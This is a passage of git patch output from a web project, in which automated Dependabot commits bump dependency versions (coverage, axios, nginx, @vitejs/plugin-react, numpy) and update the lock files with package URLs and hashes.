"https://files.pythonhosted.org/packages/ca/79/95266316352f90f6b1c6736bb413302edfde2453fb32422d3911642691b3/coverage-7.14.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:221c70f316241a78e77e607c227cefc8808d4e08f28d99c04f35694690e940be", size = 257373, upload-time = "2026-05-26T20:39:38.412Z" }, - { url = "https://files.pythonhosted.org/packages/e3/9c/58316d1f66c488b5fca8a0eb3e98348807813efa8a0d0833b9021be27488/coverage-7.14.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:da028256b04ec30e5e0114b6f76172938c313991f0a2d3d894271315cf5d5e43", size = 251635, upload-time = "2026-05-26T20:39:40.268Z" }, - { url = "https://files.pythonhosted.org/packages/ef/5a/ca2398a568e16fed7bb713e84ba3603a7164fb65779abe645c565ec890d5/coverage-7.14.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76a085d7005236a767e3426148b2c407e53ad61695c562f8a81da2d373324901", size = 253373, upload-time = "2026-05-26T20:39:42.145Z" }, - { url = "https://files.pythonhosted.org/packages/6e/2c/0396562c32deaebe7be51d865b3a41e9a87d7561acafe1a28f53b07e019a/coverage-7.14.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b553d04b5e778a8e56d57eb134aff42a92718ecba45e79c4764ecfa40efd92ff", size = 251341, upload-time = "2026-05-26T20:39:43.907Z" }, - { url = "https://files.pythonhosted.org/packages/fd/8f/a94f9221184c9cae1ee115820e3798e48b6b17777a9f19e46fb9a0c8dc74/coverage-7.14.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:46f714d2fb8ae2f4f29f23ada7f1e79b759fff5a70f94a1dac23af204c3ec9e4", size = 255497, upload-time = "2026-05-26T20:39:46.166Z" }, - { url = "https://files.pythonhosted.org/packages/71/69/505d70e47db1eaebcd002c39759707621ef184cd6b1ae084d9f41293f323/coverage-7.14.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:1896f5e19ff3f0431c7ce2172adc54890fd97f86b59ced8ca1649145d9ffe35d", size = 251159, upload-time = "2026-05-26T20:39:48.03Z" }, - { url = "https://files.pythonhosted.org/packages/e0/aa/58681c383aa33a9d2ed40a02d7a22fbf780d1fa4d575396365777828198c/coverage-7.14.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:62fd185ef9df3c33d1c8178c5af105f762afbad96038de9a4ae100aa6297ca33", size = 252934, upload-time = "2026-05-26T20:39:49.872Z" }, - { url = "https://files.pythonhosted.org/packages/eb/fd/11c928cd6bdffc7074bb5965c173d9ebf517fb00205e1da524b98d29ef92/coverage-7.14.1-cp313-cp313-win32.whl", hash = "sha256:ab4af6352741a604c431c6072fce5bee33bf0f20dc7a56618d6bf6bb89e9810c", size = 222584, upload-time = "2026-05-26T20:39:51.68Z" }, - { url = "https://files.pythonhosted.org/packages/6f/92/fb416fc26d340dcba19518c418d6048e913186e17243982c5e435e41fa7a/coverage-7.14.1-cp313-cp313-win_amd64.whl", hash = "sha256:7af486dabe8954d03b087f0021540897afe084f04e16ff5579e08cc46f871416", size = 223394, upload-time = "2026-05-26T20:39:53.472Z" }, - { url = "https://files.pythonhosted.org/packages/73/c6/02d56e3867972f77d5036de924643f26c056e848f00452cafb4dbc3c29b4/coverage-7.14.1-cp313-cp313-win_arm64.whl", hash = "sha256:2224f89ffd0c5605ccce1ed7a584da162bc7c55f601ab1c946bc9de31a486b42", size = 222015, upload-time = "2026-05-26T20:39:55.374Z" }, - { url = "https://files.pythonhosted.org/packages/4d/9e/fcc77914050df73f7662fa1f00902774c79c075a8388ab334074574bf77e/coverage-7.14.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:de286598cc65d2b489411174b1faec2f5a7775fb3201fd925db2a76b4030f37d", size = 220733, upload-time = "2026-05-26T20:39:57.189Z" }, - { url = "https://files.pythonhosted.org/packages/f7/67/2963cbdaf5cbadec44efa3a1e39eaa1f02df4079585f05387607a221e126/coverage-7.14.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:042c46ded7c288aeb07cf14a28b6c1e10b78fcba40171c3fa1e939377eeef0b5", size = 221086, upload-time = "2026-05-26T20:39:59.019Z" }, - { url = "https://files.pythonhosted.org/packages/c8/c5/8701645574e11881f2f47d8930f98bc48b5d43b25eb5b4430dfc4a2f9f48/coverage-7.14.1-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f4ddbe407477f04c45115d1a4e5bc480f753553b534d338d4c3358b1cdd0ea52", size = 262381, upload-time = "2026-05-26T20:40:00.822Z" }, - { url = "https://files.pythonhosted.org/packages/7c/28/7a64d73598263e0c5abd5084211a8474488d31b3c552ff531c719dfcff62/coverage-7.14.1-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d13e6725992e2d2fd7d81d4f5241952d13740121dfd501da09201be39b2c003a", size = 264458, upload-time = "2026-05-26T20:40:02.506Z" }, - { url = "https://files.pythonhosted.org/packages/fa/d8/4969179db9f7eb4df218e69540adf829d1c835f59452513d065d15446802/coverage-7.14.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f747dc8edcfe740130f28f32f3995e955494285717e86ee25af51db2219df08a", size = 266884, upload-time = "2026-05-26T20:40:04.421Z" }, - { url = "https://files.pythonhosted.org/packages/a6/78/a45d5794dbc9bafd97afc96a4377c86c7820d78b6cf51b89bc1d4e919275/coverage-7.14.1-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ced2f09ef276fd58611a1ef502164ad266d2b75174e5a40cabbdb4033f9f6cf2", size = 268022, upload-time = "2026-05-26T20:40:06.298Z" }, - { url = "https://files.pythonhosted.org/packages/21/cb/4f5e354e9e3e67af96bd4e57113e6db6b22298c7168b13eec408a549903d/coverage-7.14.1-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b84800013769a78ccb9ef4659402e26d06867e337b61ec365f77ad008adea80e", size = 261631, upload-time = "2026-05-26T20:40:08.226Z" }, - { url = "https://files.pythonhosted.org/packages/ec/49/eced49af4cb996d5d8b7e94e736175c513e4facd3398507b89892b4326d8/coverage-7.14.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:ea8cd6ca0ee9f616aaef3afc6882e32c2cbf18b00d96313ffd76af650574034d", size = 264443, upload-time = "2026-05-26T20:40:10.137Z" }, - { url = "https://files.pythonhosted.org/packages/f1/d8/5603a88a7c5913a6b54f6cb1a8c46f7b39cbb30f27cd3f492908da09b2d7/coverage-7.14.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:aa5e304a873fabddc11e484e9b6b738bd38bd7bed17b09aa84eecf5332e8b8bb", size = 262069, upload-time = "2026-05-26T20:40:11.999Z" }, - { url = "https://files.pythonhosted.org/packages/f0/59/2ae3cb79da554a06c8619d6c88ea19dd1e4aed4b834b6a83bb1fa243bdc5/coverage-7.14.1-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:5a1c5215be81035e629d5bc756650634d0bf31991038db7a0eccb90f025ce16d", size = 265780, upload-time = "2026-05-26T20:40:13.858Z" }, - { url = "https://files.pythonhosted.org/packages/af/5f/b130c1dc999031f2648bd25317fbce505ad8d5562079b4ed81e736a84967/coverage-7.14.1-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:79058c47dae6788504b5effb319961bcd72d7240551464b91d474bc0ed186d69", size = 260970, upload-time = "2026-05-26T20:40:16.142Z" }, - { url = "https://files.pythonhosted.org/packages/87/d1/ec13ccddeb48ec963bdfa72a11224bac2584bd045ba13beca82f8113e9c7/coverage-7.14.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:370c5afae3fa0658e11694a32b24c2778f6bc2d17718121f94ee185e69f26b54", size = 263157, upload-time = "2026-05-26T20:40:18.382Z" }, - { url = "https://files.pythonhosted.org/packages/cf/c2/cd91ead503045161092d3845f7bb95ea2f25131ce96d3e314dd835d91b9c/coverage-7.14.1-cp313-cp313t-win32.whl", hash = "sha256:3758dd0a7f1fa57365ef2e781df0f0731d38b6e3772259d13dae4bd8a958d4b1", size = 223259, upload-time = "2026-05-26T20:40:20.381Z" }, - { url = "https://files.pythonhosted.org/packages/71/9f/1e28d97e6bd2c76b07f38b7c02870f1371255ff6717f54eca578fcbbdd0e/coverage-7.14.1-cp313-cp313t-win_amd64.whl", hash = "sha256:6ff665fb023a77386fe11685190cee1f60a7d635994a30d9b0a061533d470fce", size = 224320, upload-time = "2026-05-26T20:40:22.316Z" }, - { url = "https://files.pythonhosted.org/packages/a9/e0/d936e908f0e1efa55e52b91e01b52f1055cef5e1ab2718493390ed8e2fb8/coverage-7.14.1-cp313-cp313t-win_arm64.whl", hash = "sha256:17a5a241e5997621a956a7f402a7433ef4221e5152809b785bec79e2323799f1", size = 222577, upload-time = "2026-05-26T20:40:24.894Z" }, - { url = "https://files.pythonhosted.org/packages/8a/3c/1a983b9a745d7f83d53f057bcc5bf79ba6a2bbc08266b3f0c7d6fe630c9b/coverage-7.14.1-py3-none-any.whl", hash = "sha256:a252f21c27e38347e60111a3266b03827422a7d5525951aceee313aa68bab1d2", size = 211815, upload-time = "2026-05-26T20:41:34.078Z" }, +version = "7.14.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b4/91/0a7c28934e50d8ac9a7b117712d176f2953c3170bccced5eaacfa3e96175/coverage-7.14.3.tar.gz", hash = "sha256:1a7563a443f3d53fdeb040ec8c9f7466aed7ca3dc5891aa09d3ca3625fa4387f", size = 924398, upload-time = "2026-06-22T23:10:25.584Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a9/83/7fefbf5df23ed2b7f489907564a7b34b9b07098128e12e0fdfa92626e456/coverage-7.14.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:47968988b367990ae4ab17523790c38cd125e02c6bfd379b6022be2d40bdc38c", size = 220699, upload-time = "2026-06-22T23:08:53.522Z" }, + { url = "https://files.pythonhosted.org/packages/31/e6/38c3653ff6d56d704b29241362387ca824e38e15b76fdcb7096538195790/coverage-7.14.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0ee68f5c34812780f3a7063382c0a9fcbb99985b7ddcdcaa626e4f3fb2e0783a", size = 221068, upload-time = "2026-06-22T23:08:55.571Z" }, + { url = "https://files.pythonhosted.org/packages/20/86/4f5c45d51c5cd10a128933f0fd235393c9146abbfd2ce2dfa68b3267ead3/coverage-7.14.3-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fa9e5c6857a7e80fa22ace5cf3550ae392bbfc322f1d8dd2d2d5a8be38cec027", size = 252060, upload-time = "2026-06-22T23:08:57.464Z" }, + { url = "https://files.pythonhosted.org/packages/82/50/dfce42eff2cecabcd5a9bbad5489449c87db3415f408d23ffee417ce01f6/coverage-7.14.3-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:98a0859b0e98e43e1178a9402e19c8127766b14f7109a374d976e5a62c0e5c73", size = 254657, upload-time = "2026-06-22T23:08:59.453Z" }, + { url = "https://files.pythonhosted.org/packages/ba/d2/639ceb1bc8038fd0d66768278d5dc22df3391918b8278c2a21aa2602a531/coverage-7.14.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69918344541ed9c8368566c2adc03c0e33d4550d7faa87d1b35e49b6a3286ea9", size = 255892, upload-time = "2026-06-22T23:09:01.291Z" }, + { url = "https://files.pythonhosted.org/packages/8b/96/002094a10e113512500dc1e10430a449417e17b0f90f7d496bcb820208b7/coverage-7.14.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b7f300ac92cd4b570724c8ffbbd0c130fee298d2447f41d5a3abf58976fae1de", size = 258026, upload-time = "2026-06-22T23:09:03.017Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ec/286a5d2fad9c4bee59bd724feeb7d5bf8303c6c9200b51d1dd945a9c72b0/coverage-7.14.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:11a7ec9f97ab950f4c5af62229befc7faf208fdbc0116d3902d7e306cf2c5abd", size = 252285, upload-time = "2026-06-22T23:09:04.773Z" }, + { url = "https://files.pythonhosted.org/packages/d9/7d/a17753a0b12dd48d0d50f5fab079ad99d3be1eac790494d89f3a417ca0b9/coverage-7.14.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a571bd889cd36c5922ce8e42e059f9d37d02301531d11374afa4c87a578625d5", size = 254023, upload-time = "2026-06-22T23:09:06.513Z" }, + { url = "https://files.pythonhosted.org/packages/86/ef/a76c6ceba6a2c313f905310abf2701d534cada22d372db11731831e9e209/coverage-7.14.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:de76caefc8deabb0dd1678b6a980be97d14c8d87e213ac194dbf8b09e96d63fb", size = 251989, upload-time = "2026-06-22T23:09:08.382Z" }, + { url = "https://files.pythonhosted.org/packages/d9/39/353013a75fec0fb49f7553519f9d52b4441e902e5178c93f38eb6c07cedb/coverage-7.14.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d20a15c622194234161535459affa8f7905830391c9ccfa060d495dbfe3a1c7f", size = 256144, upload-time = "2026-06-22T23:09:10.369Z" }, + { url = "https://files.pythonhosted.org/packages/29/0e/613878555d734def11c5b20a2701a15cb3781b9e9ea749da27c5f436e928/coverage-7.14.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:b488bd4b23397db62e7a9459129d01ff06a846582a732efd24834b24a6ada498", size = 251808, upload-time = "2026-06-22T23:09:12.057Z" }, + { url = "https://files.pythonhosted.org/packages/af/76/359c058c9cfdcf1e8b107663881225b03b364a320017eda24a2a66e55102/coverage-7.14.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6a3693b4153394d265f44fb855fdc80e72403024d4d6f91c4871b334d028e4e0", size = 253579, upload-time = "2026-06-22T23:09:13.858Z" }, + { url = "https://files.pythonhosted.org/packages/1d/d9/4ba2f060933a30ebe363cef9f67a365b0a317e580c0d5d9169d56a73ef1c/coverage-7.14.3-cp313-cp313-win32.whl", hash = "sha256:338b19131ab1a6b767b462bfcbaa692e7ae22f24463e39d49b02a83410ff6b37", size = 222741, upload-time = "2026-06-22T23:09:15.636Z" }, + { url = "https://files.pythonhosted.org/packages/76/e8/196ebc25d8f34c06d43a6e9c8513c9266ef8dbf3b5672beb1a00cf5e29fa/coverage-7.14.3-cp313-cp313-win_amd64.whl", hash = "sha256:b3d77f7f196abdef7e01415de1bce09f216189e83e58159cfeef2b92d0464994", size = 223283, upload-time = "2026-06-22T23:09:17.478Z" }, + { url = "https://files.pythonhosted.org/packages/7c/af/51d2aac6417523a286f10fb25f09eb9518a84df9f1151e93ff6871f34849/coverage-7.14.3-cp313-cp313-win_arm64.whl", hash = "sha256:e6230e688c7c3e65cedd41a774eb4ec221adc6bfee13768231015b702d5e4150", size = 222678, upload-time = "2026-06-22T23:09:19.7Z" }, + { url = "https://files.pythonhosted.org/packages/eb/e3/a0aa32bfa3a081951f60a23bc0e7b512891ef0eecda1153cf1d8ba36c6b1/coverage-7.14.3-py3-none-any.whl", hash = "sha256:fb7e18afb6e903c1a92401a2f0501ac277dca527bb9ca6fe1f691a8a0026a0e8", size = 212469, upload-time = "2026-06-22T23:10:23.405Z" }, ] [[package]] @@ -550,7 +535,7 @@ requires-dist = [ dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] lint = [{ name = "ruff", specifier = "==0.15.18" }] test = [ - { name = "coverage", specifier = "==7.14.1" }, + { name = "coverage", specifier = "==7.14.3" }, { name = "django-test-migrations", specifier = "==1.5.0" }, ] From 0ac37b7e36a1fa522bdae171fc3767842125a4c2 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:13:41 +0200 Subject: [PATCH 051/131] build(deps): bump axios from 1.18.0 to 1.18.1 in /frontend (#1429) Bumps [axios](https://github.com/axios/axios) from 1.18.0 to 1.18.1. - [Release notes](https://github.com/axios/axios/releases) - [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md) - [Commits](https://github.com/axios/axios/compare/v1.18.0...v1.18.1) --- updated-dependencies: - dependency-name: axios dependency-version: 1.18.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 8 ++++---- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 4eb8747a7..f04f40882 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -10,7 +10,7 @@ "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", "@vnedyalk0v/react19-simple-maps": "^2.0.9", - "axios": "^1.18.0", + "axios": "^1.18.1", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", "formik": "^2.4.9", @@ -2386,9 +2386,9 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", - "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.1.tgz", + "integrity": "sha512-3nTvFlvpn9Zu/RkHUqtc7/+al4UpRW5az71ap5zccp6e8RAYEzhMTecX8Dz1wWDYrPpUoB1HAQEGEAEvUr7S9g==", "license": "MIT", "dependencies": { "follow-redirects": "^1.16.0", diff --git a/frontend/package.json b/frontend/package.json index 216ca8ef4..794ea92d5 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -11,7 +11,7 @@ "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", "@vnedyalk0v/react19-simple-maps": "^2.0.9", - "axios": "^1.18.0", + "axios": "^1.18.1", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", "formik": "^2.4.9", From 85c8e045d6dc70e60fbaa78ed063f4c5d7e8f4ee Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:13:56 +0200 Subject: [PATCH 052/131] build(deps): bump library/nginx in /docker (#1426) Bumps library/nginx from 1.31.1-alpine to 1.31.2-alpine. --- updated-dependencies: - dependency-name: library/nginx dependency-version: 1.31.2-alpine dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- docker/Dockerfile_nginx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/Dockerfile_nginx b/docker/Dockerfile_nginx index e03acc04a..1cc2c4b62 100644 --- a/docker/Dockerfile_nginx +++ b/docker/Dockerfile_nginx @@ -1,4 +1,4 @@ -FROM library/nginx:1.31.1-alpine +FROM library/nginx:1.31.2-alpine ENV NGINX_LOG_DIR=/var/log/nginx From fe83279c6fda560bd7b9177efb5483c273270c01 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:14:24 +0200 Subject: [PATCH 053/131] build(deps-dev): bump @vitejs/plugin-react in /frontend (#1428) Bumps [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) from 6.0.2 to 6.0.3. - [Release notes](https://github.com/vitejs/vite-plugin-react/releases) - [Changelog](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react/CHANGELOG.md) - [Commits](https://github.com/vitejs/vite-plugin-react/commits/plugin-react@6.0.3/packages/plugin-react) --- updated-dependencies: - dependency-name: "@vitejs/plugin-react" dependency-version: 6.0.3 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 10 +++++----- frontend/package.json | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index f04f40882..a373d5816 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -31,7 +31,7 @@ "@testing-library/jest-dom": "^6.9.1", "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", - "@vitejs/plugin-react": "^6.0.2", + "@vitejs/plugin-react": "^6.0.3", "@vitest/coverage-v8": "^4.1.9", "eslint": "^9.39.4", "jsdom": "^29.1.1", @@ -2048,13 +2048,13 @@ "license": "MIT" }, "node_modules/@vitejs/plugin-react": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-6.0.2.tgz", - "integrity": "sha512-DlSMqo4WhThw4vB8Mpn0Woe9J+Jfq1geJ61AKW0QEgLzGMNwtIMdxbDUzLxcun8W7NbJO0e2Jg/Nxm3cCSVzzg==", + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-6.0.3.tgz", + "integrity": "sha512-vmFvco5/QuC2f9Oj+wTk0+9XeDFkHxSamwZKYc7MxYwKICfvUvlMhqKI0VuICPltGqh1neqBKDvO4kes1ya8vg==", "dev": true, "license": "MIT", "dependencies": { - "@rolldown/pluginutils": "^1.0.0" + "@rolldown/pluginutils": "^1.0.1" }, "engines": { "node": "^20.19.0 || >=22.12.0" diff --git a/frontend/package.json b/frontend/package.json index 794ea92d5..1af514813 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -50,7 +50,7 @@ "@testing-library/jest-dom": "^6.9.1", "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", - "@vitejs/plugin-react": "^6.0.2", + "@vitejs/plugin-react": "^6.0.3", "@vitest/coverage-v8": "^4.1.9", "eslint": "^9.39.4", "jsdom": "^29.1.1", From f2b883ebf5a514a6b0ea6e5d63492b4ef9b2d490 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 23 Jun 2026 21:23:00 +0200 Subject: [PATCH 054/131] build(deps): bump numpy from 2.4.6 to 2.5.0 (#1430) Bumps [numpy](https://github.com/numpy/numpy) from 2.4.6 to 2.5.0. - [Release notes](https://github.com/numpy/numpy/releases) - [Changelog](https://github.com/numpy/numpy/blob/main/doc/RELEASE_WALKTHROUGH.rst) - [Commits](https://github.com/numpy/numpy/compare/v2.4.6...v2.5.0) --- updated-dependencies: - dependency-name: numpy dependency-version: 2.5.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 42 ++++++++++++++++-------------------------- 2 files changed, 17 insertions(+), 27 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 2cd7663c8..792799764 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -26,7 +26,7 @@ dependencies = [ # ML / data science "scikit-learn~=1.9.0", "pandas~=3.0", - "numpy~=2.4", + "numpy~=2.5", "joblib~=1.5", "datasketch~=1.10", # File Format Support diff --git a/uv.lock b/uv.lock index c8f483500..ab651ad7c 100644 --- a/uv.lock +++ b/uv.lock @@ -522,7 +522,7 @@ requires-dist = [ { name = "feedparser", specifier = "~=6.0" }, { name = "gunicorn", specifier = "~=26.0" }, { name = "joblib", specifier = "~=1.5" }, - { name = "numpy", specifier = "~=2.4" }, + { name = "numpy", specifier = "~=2.5" }, { name = "pandas", specifier = "~=3.0" }, { name = "psycopg", extras = ["c"], specifier = "~=3.3" }, { name = "requests", specifier = "~=2.34" }, @@ -643,31 +643,21 @@ wheels = [ [[package]] name = "numpy" -version = "2.4.6" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 20735807, upload-time = "2026-05-18T23:37:14.07Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/fb/82/bdab26d7438c6791ca31b7c024ca37c1eab8b726ba236129005cd4a06e45/numpy-2.4.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1ef96b0", size = 16684648, upload-time = "2026-05-18T23:34:29.41Z" }, - { url = "https://files.pythonhosted.org/packages/1b/30/a80189bcc7f5e4258b3fbc3968d909d1756f54d023299ecc39ad6fdb9ef8/numpy-2.4.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e85eb", size = 14693902, upload-time = "2026-05-18T23:34:33.013Z" }, - { url = "https://files.pythonhosted.org/packages/97/12/70b5d0d7c15e1ebb8a6a84a8caa1d19e181d84fb58bb6d70aca29099dec1/numpy-2.4.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2b3f", size = 5198992, upload-time = "2026-05-18T23:34:36.132Z" }, - { url = "https://files.pythonhosted.org/packages/ba/8c/ebd2a8f8a83541f8d38cc5667e8c2b69cecfd30da6e45693e8158857d44b/numpy-2.4.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f7270ef3", size = 6546944, upload-time = "2026-05-18T23:34:38.484Z" }, - { url = "https://files.pythonhosted.org/packages/bb/c5/7b863a97a91671a0338f4253bd3b5a3d3852f0692dae91711c9f4a10e787/numpy-2.4.6-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72fbe16c6fac95aedf5937fa873445cec2110be35d8a4e9433d7501fd98dae6b", size = 15669392, upload-time = "2026-05-18T23:34:41.257Z" }, - { url = "https://files.pythonhosted.org/packages/a5/9d/3584b9984ca4c047aea75214ce1a4c4c73d849bd71b604264b7f5653f8a8/numpy-2.4.6-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7830bab239b79cda9c08c2da014761cafb48da6150e1da17ac06283f43b6089", size = 16633220, upload-time = "2026-05-18T23:34:45.075Z" }, - { url = "https://files.pythonhosted.org/packages/05/ae/7c67fba23bd98caec7c99261f3a16072ade14813486b0282cb29846de832/numpy-2.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02ea8eb9a", size = 17020800, upload-time = "2026-05-18T23:34:49.065Z" }, - { url = "https://files.pythonhosted.org/packages/d9/5d/3b6725cb31d983c5e66916f5d36f6d7e5521129e4c4404d64f918292a5b6/numpy-2.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a495c605", size = 18357600, upload-time = "2026-05-18T23:34:52.709Z" }, - { url = "https://files.pythonhosted.org/packages/f7/da/2ccc6c2fe8898dee01d90c75c5f5f914a23daf99e3e0f59516a08760c8b5/numpy-2.4.6-cp313-cp313-win32.whl", hash = "sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91", size = 5961134, upload-time = "2026-05-18T23:34:55.618Z" }, - { url = "https://files.pythonhosted.org/packages/b5/cd/9cc4dc876fb065d5c220aae4d5e14826b2715331bb7618ce1fb07a679d99/numpy-2.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359", size = 12318598, upload-time = "2026-05-18T23:34:58.928Z" }, - { url = "https://files.pythonhosted.org/packages/39/1e/c0bcba1f8694116485fe28fd1be698c278fcda4141c5b0e53a2aed8b12a8/numpy-2.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778", size = 10222272, upload-time = "2026-05-18T23:35:02.167Z" }, - { url = "https://files.pythonhosted.org/packages/63/6d/cc5619247c8f4204e507f5883528372e4ac4bb189e579fb859a12e480b1f/numpy-2.4.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b899189a1", size = 14821197, upload-time = "2026-05-18T23:35:05.468Z" }, - { url = "https://files.pythonhosted.org/packages/00/58/f1c39161c87d9e9bed660f1ed4bafc0e403d5ec9650b6dd77aead07d489b/numpy-2.4.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27babe", size = 5326287, upload-time = "2026-05-18T23:35:08.693Z" }, - { url = 